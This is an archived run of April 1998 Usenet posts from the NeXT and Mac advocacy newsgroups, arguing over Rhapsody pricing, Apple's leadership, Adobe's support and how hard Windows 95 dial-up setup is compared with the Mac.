> http://www.dejanews.com/ Now offering spam-free web-based newsreading
Whether or not Allegro is optimized for the G3 specifically is not an
issue. What's really great about it is that it is optimized for the
PowerPC RISC set. No more 68k emulation in the Quickdraw routines!!
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy
Subject: automatic opening
Date: 27 Apr 1998 01:47:05 GMT
Message-ID: <6i0o2p$c26$2@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I would think OPENSTEP would automatically open files in the correct app, if
I had the correct app. FOr instance, I have omnipdf, and when I double click
on pdf files it opens it up in edit.
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
NeXTMail and MIME OK!
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 27 Apr 1998 01:54:28 GMT
Organization: Indiana University, Bloomington
Message-ID: <6i0ogk$n25$1@jetsam.uits.indiana.edu>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <6hrnvk$2mv$1@flotsam.uits.indiana.edu> <6hrv1g$cq8$2@newsfep2.sprintmail.com> <markm3-2504982354520001@205.241.204.173>
In article <markm3-2504982354520001@205.241.204.173>,
<markm3@nospam.net> wrote:
>In article <6hrv1g$cq8$2@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
>
>> In <6hrnvk$2mv$1@flotsam.uits.indiana.edu> Gregory Loren Hansen wrote:
>> I laugh every time I hear the radio shack commercial for compaqs. I t is so
>> fricking funny.
Just for attribution's sake, someone else wrote that, not me.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
Date: Mon, 27 Apr 1998 12:09:13 +0930
From: "Timothy Priest" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
References: <see-below-2204982044230001@209.24.241.227>
<B164DB39-6C834@206.165.43.25>
<joe.ragosta-2304981555560001@wil124.dol.net>
<354185ca.0@news.camtech.net.au>
<slrn6k4t6v.5e0.mbkennel@lyapunov.ucsd.edu>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: 7bit
Message-ID: <3543eebe.0@news.camtech.net.au>
>On Sat, 25 Apr 1998 16:16:50 +0930, Timothy Priest <timothyp@tne.net.au> wrote:
>:Come on Joe. Announcements of Product developments and "simplification" of
>:product lines were made well before Steve took-the-reigns. Yet Steve implies
>:that he masterminded the whole deal. Likewise the deal with M$. There were
>:definitely rumours of Gil meeting with Bill well before Steve's supposed
>:spur-of-the-moment contact with Bill.
>
>Well, Greg Maffei, one of Microsoft's topmost executives credits a long walk
>with a "barefoot" Steve Jobs at his Palo Alto house as being the catalyst of
>the deal.
>
>Nobody from Microsoft's end ever says "we almost had it in the bag with Amelio,
>and Jobs just signed on the dotted line."
Gee, I wonder why? Steve is in charge now and they are all very cosy. I hardly
see that they are going to upset the whole sordid affair by saying a deposed
leader didall the work.
>About that same time period, Bill Gates says, "Steve Jobs is one hundred
>times smarter than Gil Amelio."
Ditto. And how does Bill know? Moreover, if Steve is so smart why isn't NeXT
the standard OS today. It is certainly technically worthy. Such a smarty as
Steve surely could have marketed it the way it should have been. My point is
not that Steve is bad, evil etc. (history will decide that) but that Gil is
getting a Bum-rap here.
>I do believe that Amelio is better than Spindler and sugar-water Sculley.
I personally think Sculley was another scape-goat. Sure he had some bad ideas,
but he also had some beauties. Scully was not the root of Apple's problems.
Apple was.
>But...
>
>:Steve is definitely right for the job at the moment, but let's not vilify Gil
>:noe Canonise Steve just yet. I tend to thing Avie and John have a s... load
to
>:do with Apple's moving in the right direction. But then they are not the
>:"leaders" are they? Maybe they should be!
>Please, No! They are needed in their present jobs more than Apple needs a
>CEO. They deserve a big bonus, condtioned on staying for four more years.
I agree. I was simply making a point that those that really do the work (the
plebs) are often totally ignored and the BIG boys get the credit for being the
figure-head. Of course they also cop the flack, like Gil.
>BTW, who first hired Tevanian and Rubenstein? Steve Jobs---at NeXT, Inc.
Yeh, I think we all know that. It is not the point I was making. I never
questions Steve's intelligence or his people savvy. See the point above.
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net>
Subject: Re: first post
Date: Sun, 26 Apr 1998 23:10:19 -0400
Message-ID: <3543f188.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Joe Ragosta wrote in message ...
>In article <35433ec7.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>> G_o_M_a_c Nicolas Krinis > wrote in message
>> <6htbcc$kl9$2@garnet.nbnet.nb.ca>...
>> >
>> >
>> >What? 5 min. to config W95 for internet access? More like 20 minutes,
even
>> >if you know what you're doing:
>> >There are a total of 6 steps to configurefrom the Dial-up adaptor ,
through
>> >windows logon.......Gateway to Wins config.......through the bindings
all
>> >the way to creating a desktop alias:
>> >
>> >Total mouseclicks: approximately 100.
>> ..
>> Here's one confused puppy! The actual procedure is to click new
connection
>> in dialup networking, provide a name for the new entry and the phone
number,
>> click OK and you're done. Double click on the new entry, supply your
usename
>> & password and you're connected. About 5 minutes.
>
>Except that you left out a lot of stuff-and a few reboots.
..
I didn't leave *anything* out and there aren't any reboots. BTW, it's just
as easy with NT 4.0 which is where I did my 4 minute 'from sealed ISP letter
to a connection".
..
..
<SNIP>
Date: Mon, 27 Apr 1998 12:34:14 +0930
From: "Timothy Priest" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
References: <no-2104982333090001@grv230155.columbus.rr.com>
<blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com>
<joe.ragosta-2304981334240001@wil133.dol.net>
<1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>
<joe.ragosta-2304982050200001@elk70.dol.net>
<35418c24.0@news.camtech.net.au> <6hvfdr$bll$6@ironhorse.plsys.co.uk>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <3543f4a6.0@news.camtech.net.au>
In article <6hvfdr$bll$6@ironhorse.plsys.co.uk> , mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <35418c24.0@news.camtech.net.au> "Timothy Priest" wrote:
>> >In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
>> >bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>> >
>> >> Joe Ragosta <joe.ragosta@dol.net> wrote:
>> >>
>> >> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>,
>macghod@concentric.net
>> >> > wrote:
>> >But Apple has already stated that .edu customers will get special pricing.
>> >As for the Sci-tech people, most of them aren't going to balk at $400-500
>> >for an OS. That happens to be the list price for NT, BTW.
>> [...]
>> $500 bucks! This is exactly the sort of thing that stopped NeXTStep and
>> OpenStep catching on.
>>
>Nope; what stopped OPENSTEP catching on was $800 for the User version and
>$3500 for the Developer tools on top.
You are arguing somantics here, $500 or $800 dollars makes FA difference to a
normal user. They simply aren't going to fork over that sort of money! I speak
from experience when I say that the price of a NeXT station (or cube) were the
killers for me here in OZ. With OpenStep the price was over $1000 Aus. I am
hardly going to pay that, even for OpenStep or RHAPSODY.
>> I certainly hope Steve and Apple have learned from past
>> mistakes. Apple has to price Rhapsody *aggresively* against NT. $500
>dollars is
>> not aggresive; its a joke. Aggresive will be in the ball-park of $150-200
>(and
>> no more), if Apple wants users, even power users, to adopt it and therefore
>have
>> developers (large developers) come and support it.
>>
>$500 would probably be too high, but it wouldn't be a joke. $1000+ would be
>a joke.
No? I think the slow adoption of NT is one indicator of what people will pay.
Remember, we are talking about people who use computers as a tool, not a
livelyhood(sp?); and people who have to justify the cost to their bosses! Apple
needs Bums-on-seats for Rhapsody, pricing it at 150-200 will get them that. $500
won't. That is the simple truth.
>How about we wait to see what Apple tells us, though, before getting all
>uptight about pricing -- who knows, the sky might not fall.
aI agree. But it doesn't hurt to let Apple know up-front. Just in-case Steve
suffers margin withdrawl :)
>> He was not talking of Graphic artists. Publishing is more than graphics.
>Apple
>> should look at other aspects of publishing real hard. A nice front end for
>TeX
>> would be the perfect place to start.
>For who? You complain later about targeting niches...
No, I am saying that Apple should help third-parties push into these areas. Just
because Apple has the OS and hardware to push into a Niche doesn't mean THEY
have to do it. This is where Apple can take back the ground from MS, by
allowing developers to offer programs that are simply not technically feasible
under other OS's.
>> Does this already exist on OpenStep?
>>
>It already exixts for NEXTSTEP -- it would have to be ported.
Good. I don't use TeX myself, the CLI interfaces I have had to endure just
don't cut it. TeX has the best scientific typesetting I have seen (though I
haven't seen what Framemaker can do; anyone eklse care to comment?)
But it reminds me of my Physics honours thesis. All my classmates were using
the mainframe and LaTeX. I was using a Mac and WordPerfect. They all kept
laughing that I was going to end up losing my work and missing my deadline (I
had three backup copies I was so paranoid :)). Come the weekend before hand-in,
I was finished and had three copies sent off to the printers for binding. My
mates were all in various stages of finishing-up. The mainframe went down at
9.00 am Saturday morning. Didn't come back up properly until 11.30 pm Sunday.
One friend finished his thesis 30 minutes before the 10.00 am deadline and then
went home to bed. They all started using PC's as soon as they could afford
them. Unfortunately they still didn't learn and chose windows!
Tim Priest
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Sun, 26 Apr 1998 22:18:13 -0500
Organization: AT&T WorldNet Services
Message-ID: <6i0t8t$3t@bgtnsc02.worldnet.att.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net> <3543f188.0@news.together.net>
Lance Togar wrote in message <3543f188.0@news.together.net>...
>Joe Ragosta wrote in message ...
>>In article <35433ec7.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
>wrote:
>>
>>> G_o_M_a_c Nicolas Krinis > wrote in message
>>> <6htbcc$kl9$2@garnet.nbnet.nb.ca>...
>>> >
>>> >
>>> >What? 5 min. to config W95 for internet access? More like 20 minutes,
>even
>>> >if you know what you're doing:
>>> >There are a total of 6 steps to configurefrom the Dial-up adaptor ,
>through
>>> >windows logon.......Gateway to Wins config.......through the bindings
>all
>>> >the way to creating a desktop alias:
>>> >
>>> >Total mouseclicks: approximately 100.
>>> ..
>>> Here's one confused puppy! The actual procedure is to click new
>connection
>>> in dialup networking, provide a name for the new entry and the phone
>number,
>>> click OK and you're done. Double click on the new entry, supply your
>usename
>>> & password and you're connected. About 5 minutes.
>>
>>Except that you left out a lot of stuff-and a few reboots.
>..
>I didn't leave *anything* out and there aren't any reboots. BTW, it's just
>as easy with NT 4.0 which is where I did my 4 minute 'from sealed ISP
letter
>to a connection".
>..
>..
><SNIP>
>
>
Call me goofy, but the whole thing seems moot to me. Anyone with three
active brain cells can configure a DUN connect on a PC or Mac. Configuring
a flavor of *nix to do it takes more "juevos" than sitting in front of a
Win OR Mac box and clicking and drooling.
The smart-ass comment one of the original respondents made about 5 minutes
to set it up in Win 95 was completely ignorant. Sit someone down in front
of a *nix box that has no prior experience with *nix, and guess what?
Things are a LITTLE more complicated.
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 27 Apr 1998 03:23:06 GMT
Organization: @Home Network
Message-ID: <6i0tmq$me6$1@ha2.rdc1.sdca.home.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
<6hp87t$oh3$7@ha2.rdc1.sdca.home.com> <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net>
<6hrikq$j3g$2@ha2.rdc1.sdca.home.com> <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net>
<6htrli$sqh$1@ha2.rdc1.sdca.home.com> <gmgraves-2604981156390001@sf-pm5-2-66.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
In <gmgraves-2604981156390001@sf-pm5-2-66.dialup.slip.net> George Graves
wrote:
> In article <6htrli$sqh$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> > Whoa... The Industry gets to sell it thrice. Vinyl + DVD on the high
end, CD
> > mainstream and tape low-end. I want a 24/96 recording deck... :-) And
you
> > are telling me that DVD isn't comressing the hell out of source on the
fly?
> > This is a 1:1 copy? They can stratify even further by discounting
comressed
> > discs and charging up the whazoo for a master 1:1.
> >
> > It getting interesting... thanks very much for sorting out the situation
for
> > me. Thanks.
>
> Its my understanding that the audio DVD is not compressed at all! Its
> just finally the CD we were promised 15 years ago, but that the
> industry has not been able to deliver due to the limitations of the
> 1977 technology that the standard CD uses.
>
>
This is hard to believe, true. Justice months back was examining the SMRP
$14.95 on Music CDs over too many years as part of that promise. Justice
questioned the lack of price elasticity and wanted an explanation.of why
consumers never saw the benefit of technology write-down in lower software
prices.
If true, it could start the clock over again for the Industry writing down yet
another technology and supporting the SMRP or higher now that we have a better
product. Sigh...
-r
Rex
From: "Tony Chow" <everblue@ucla.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Does Nextstep work with Ultra DMA?
Date: Sun, 26 Apr 1998 20:34:05 +0100
Message-ID: <6i0ubr$pq3$1@newsfep4.sprintmail.com>
I'm planning on getting another motherboard with Ultra DMA controller
built-in. Is this going to work with any version of NeXTSTEP/OpenSTEP?
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: automatic opening
Date: 27 Apr 1998 03:36:17 GMT
Organization: @Home Network
Message-ID: <6i0ufh$me6$2@ha2.rdc1.sdca.home.com>
References: <6i0o2p$c26$2@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: macghod@concentric.net
In <6i0o2p$c26$2@newsfep3.sprintmail.com> macghod@concentric.net wrote:
>
> I would think OPENSTEP would automatically open files in the correct app, if
> I had the correct app. FOr instance, I have omnipdf, and when I double
click
> on pdf files it opens it up in edit.
>
>
In OPENSTEP this is setable in the Inspector panel. Users are empowered to
choose which ever .app meets their particular need. In the case of .pdf I
find myself switching .apps based upon what I want to do. In the workspace, I
command-3 and set the .app I want to be the default .app or over-ride by
double-clicking on the .app I want to open the .pdf. For me its a choice of
the excellent OmniPDF. app and PDFview.app for technical reasons. I'd like to
see these two integrated on a Rhapsody release.
-r
Rex
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 03:43:18 GMT
Organization: Digital Fix Development
Message-ID: <6i0usm$aj7$1@news.digifix.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
In-Reply-To: <B1682DB8-4B386@206.165.43.167>
On 04/25/98, "Lawson English" wrote:
>Kristofer Jon Magnusson <kris@xmission.xmission.com> said:
>
<snip>
>> Rhapsody currently has the support of exactly zero first-tier
>> industry partners.
>
>
>
>Adobe even officially backed off from it. I'm still waiting for
someone to
>cite a URL where they have recently endorsed it.
>
More Lawson Bullshit.
Adobe never _officially_ backed off it.
As far as the URL you asked for, look it up yourself.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Sun, 26 Apr 1998 23:57:35 +0000
Organization: NBTel Internet
Message-ID: <6i0vid$ncp$1@garnet.nbnet.nb.ca>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tom wrote:
> Here's one confused puppy! The actual procedure is to click new connection
> in dialup networking, provide a name for the new entry and the phone number,
> click OK and you're done. Double click on the new entry, supply your usename
> & password and you're connected. About 5 minutes.
> ..
What you are omitting here are the steps you have to take BEFORE you can
create a New Connection.
Are you using the same W95 I am? Or just spreading FUD. This is the procedure
according to my ISP.
For all the Mac users that haven't had the "chance" to config a net connection
on a PC, I suggest you give your Mac a kiss and worship the desktop square
footage on which it stands:
Here goes:
Step 1:
Click My Computer, double click control panel, Double click network icon.
Check to see if Dial-up adaptor&TCP/IP are there.
Dial-up adaptor is usually NOT listed, so you have to go through the process
of adding it, about 6 mouse click total.
TCP/IP may or may not be listed, same total, 6 mouseclicks.
Step2
Click on TCP/IP, click Properties.
Click Gateway and enter ... Step 2, a total of 20 mouseclicks.
Step 3
Click Dial-up adaptor, click properties. Click bindings, uncheck all but
TCP/IP., total 12 steps. At this point, now get this: YOU ARE PROMPTED TO
INSERT your W95 CD! To top it off, you are required to RESTART your computer.
Total mouseclicks:12
Step 4
Double click My computer etc...total 12 mouseclicks, AT THIS POINT RESTART
computer again.
Step 5
total, 13 mouseclicks. At this point, you enter your baud rate.
Step 6
Click on your New Connection icon, right click properties, total 23 mouseclicks!
You are now ready to surf the net!!!!!!!But before, put your hand on some ice,
you've clicked the poor mouse so many times, you might get DeQuervain's syndrome!
After you've completed all these steps, most of the time, you still have to
start from scratch, because for reasons I ignore, many times it doesn't work!
The reason? Some of the stuff you've changed doesn't "stick" and appears 2 or
3 times in the dialog boxes. I Know because I've experienced it.
Now the good news:
^^^^^^^^^^^^^^^^^
On the Mac: Select chooser and your port just to make sure your printer is
connected to the right serial port. I usually disactivate AppleTalk.
Select your modem (just the type). You don't have to select a baud rate.
Fill in primary and secondary DNS and search domain. Fill in username,
password, chack save password if you like.
At this point, I reboot and voila! It never fails.
This process is representative of the majority of operations on W95. Which is
why, as far as I'm concerned, I'd rather spend three and four times more money
to purchase a Mac (it'll pay for itself for time saved) if I had to, than even
considering buying a a PC, that runs the most redundant, user unfriendly,
archaic OS in use today, Windows 95.
As far as being a confused puppy, well I'll let others be the judge of that.
The fact that you are deliberatly trying to mislead others into beleiving how
easy it is to config W95 for internet access, speaks volumes as far as your
credibility is concerned.
Nicolas Krinis
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 27 Apr 1998 00:38:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16983BC-31232@206.165.43.144>
References: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
> | 256 color support came out with the Mac II's in 1987 (6?).
> |
> | System 1.0 had 8-color support, although you couldn't see it.
>
> Hmmmm... Oh, it did?
Yep. 8-color support in QD was there since the beginning. I don't know of
any app that ever used it, however, and I have never bothered to read the
docs on how to use it since any Mac that can show 8 colors can show 256, so
why bother with the 8-color version in the first place?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Mon, 27 Apr 1998 17:39:39 +1000
Organization: University of Queensland
Message-ID: <6i1cj0$1d3$1@nargun.cc.uq.edu.au>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com>
>: If Lotus, Novell, and IBm are going to drop the ball they way they did on
>: OpenDoc, who needs them?
>
>I guess not you, since apparently all you use a computer for is to post to
>Usenet.
>
>People who want to run Lotus, Novell, and IBM products need Lotus,
>Novell, and IBM to support their platform. These people inhabit something
>called The Real World. This place exists in The Big Room with a Blue
>Ceiling that has a Really Bright Yellow Light. I understand that you
>haven't been there in years. It really is a lot nicer than where you are
>right now. These people have to do Real Work and solve Real (not
>Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
>networks, and other Real Things.
>
That was quite possibly the funniest thing I've read on Usenet this year.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 00:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16985D5-39051@206.165.43.144>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Brad Hutchings <brad@hutchings-software.com> said:
>
> Most of us didn't give a damn about cross-platform issues. We were (and I
> still am) happy to support a MacOS platform advantage.
But Joe isn't interested in MacOS or MacOS customers. He's interested in
the Apple OS-du-jour and theoretical customers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 00:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1697D67-1951D@206.165.43.144>
References: <3543eebe.0@news.camtech.net.au>
To: "Timothy Priest" <timothyp@tne.net.au>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Timothy Priest <timothyp@tne.net.au> said:
> >BTW, who first hired Tevanian and Rubenstein? Steve Jobs---at NeXT,
> Inc.
>
> Yeh, I think we all know that. It is not the point I was making. I never
> questions Steve's intelligence or his people savvy. See the point above.
Interestingly enough, one of the latest interviews with Amelio has him
claiming that he and Tavie went to lunch a month or two after the NeXT
purchase and Tavie gushed about how much nicer it was to have him (Amelio)
as boss instead of change-the-direction-of-the-company-every-minute Steve.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Mon, 27 Apr 1998 04:57:15 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6hvsrr$8mm$1@supernews.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i0usm$aj7$1@news.digifix.com>
x-no-archive: yes
Scott Anguish wrote:
>Lawson English wrote:
>>Adobe even officially backed off from it. I'm still waiting for
>someone to
>>cite a URL where they have recently endorsed it.
>>
>
> More Lawson Bullshit.
>
> Adobe never _officially_ backed off it.
>
> As far as the URL you asked for, look it up yourself.
An Adobe spokeswoman said that Adobe backed off it.
Scott, if you can't find the URL, please stop saying that
there is one. The reason why people can't find one is
likely because there isn't one.
Since I've been following the situation, nobody has ever
produced a URL pointing to Adobe's Rhapsody support.
Only a number of posters claiming that Adobe has
announced Rhapsody support, but NEVER providing
evidence. It's like they think if they say it enough times
it will either become true, or at least everyone will
start to believe it.
This isn't intended as a flame at you, Scott, but if
you would just provide the evidence, you could shut
everyone up on this topic in one fell swoop.
Z
Date: Mon, 27 Apr 1998 05:56:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Message-ID: <joe.ragosta-2704980556030001@elk45.dol.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu>
In article <MPG.fad7a7c96bc87a49896cb@news.unt.edu>, f@pearl.net (Fred) wrote:
> In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
> says...
> > Look deep inside yourself. Visualize the empty space within. That is
> > where your inner bozo lives. It can be destroyed. Open up that space to
> > the nourishing light of the Really Bright Yellow Light in The Big Room
> > with The Blue Ceiling.
> >
> > Imagine that light illuminating the fetid, rotten inner bozo that has been
> > poisoning you for years. Imagine letting a fresh, clean wind into that
> > space to dissipate its rancid vapors. Imagine being free of the inner bozo
> > that makes you squirt semantic diarrhea all over innocent people on
> > Usenet.
> >
> > You can be helped. But in the meantime, your bozo bit has been flipped, so
> > as to keep your poop off me.
>
>
> This is quite probably the greatest single usenet post I've ever read..
I'm not surprised. You seem to be incapable of logical debate, too.
It's too bad that people incapable of logical thought like you and kris
are able to post to Usenet. You're a good part of the reason that it's so
full of mindless posts and ad-hominem attacks.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Apr 1998 05:58:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2704980558530001@elk45.dol.net>
References: <joe.ragosta-2504982243370001@elk39.dol.net> <B1682DE8-4BEBC@206.165.43.167> <joe.ragosta-2604980736310001@elk52.dol.net> <slrn6k7dqk.agj.mbkennel@lyapunov.ucsd.edu>
In article <slrn6k7dqk.agj.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
> On Sun, 26 Apr 1998 07:36:30 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> :
> :Exactly how much good did IBM do for Apple on OpenDoc? They talked about
> :it for years, played around with some beta code, but never finished it.
>
> In IBM's world, and in the real technological world, OpenDoc is nearly
> the same thing as Java and JavaBeans. In reality, there is not place
> for both of them, and except for creating compound documents (only one
> small portion of all the stuff under OpenDoc), Java is better and
> has a real future.
>
> To be blunt, Java and the JVM is a much better idea, and Apple was
> out-innovated and out-marketed by Sun, fair-and-square.
Agreed--that's been my point.
Actually, if you ignore 'consumer linkable program parts' (see below),
Yellow Box is even better as a cross-platform tool with reusable program
parts.
>
> Suppose Apple came up with the idea of secure downloadable executable web
> content, and licensed implementations of the VM to everybody? Wouldn't
> they be hailed as genius? This is the kind of thing which the old Apple
> would have invented.
>
> And personally I don't feel the idea of "consumer linkable program parts"
> even *IS* that good an idea---whereas improving the linking of parts for
> custom corporate development fulfills a huge need, viz OpenStep + JavaBeans.
Agreed. This has been one of my concerns. I'm much more advanced than most
users and I found Cyberdog's linking of parts to be confusing. It was an
idea with promise, but the implementation didn't impress me. And the fact
that it never reached cross-platform status was the killer.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Apr 1998 06:07:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <joe.ragosta-2704980607100001@elk45.dol.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net> <3543f188.0@news.together.net>
In article <3543f188.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <35433ec7.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
> wrote:
> >
> >> G_o_M_a_c Nicolas Krinis > wrote in message
> >> <6htbcc$kl9$2@garnet.nbnet.nb.ca>...
> >> >
> >> >
> >> >What? 5 min. to config W95 for internet access? More like 20 minutes,
> even
> >> >if you know what you're doing:
> >> >There are a total of 6 steps to configurefrom the Dial-up adaptor ,
> through
> >> >windows logon.......Gateway to Wins config.......through the bindings
> all
> >> >the way to creating a desktop alias:
> >> >
> >> >Total mouseclicks: approximately 100.
> >> ..
> >> Here's one confused puppy! The actual procedure is to click new
> connection
> >> in dialup networking, provide a name for the new entry and the phone
> number,
> >> click OK and you're done. Double click on the new entry, supply your
> usename
> >> & password and you're connected. About 5 minutes.
> >
> >Except that you left out a lot of stuff-and a few reboots.
> ..
> I didn't leave *anything* out and there aren't any reboots. BTW, it's just
> as easy with NT 4.0 which is where I did my 4 minute 'from sealed ISP letter
> to a connection".
> ..
If you didn't have to reboot, then you didn't do a complete
installation--some of the network components must have been configured
before you started.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
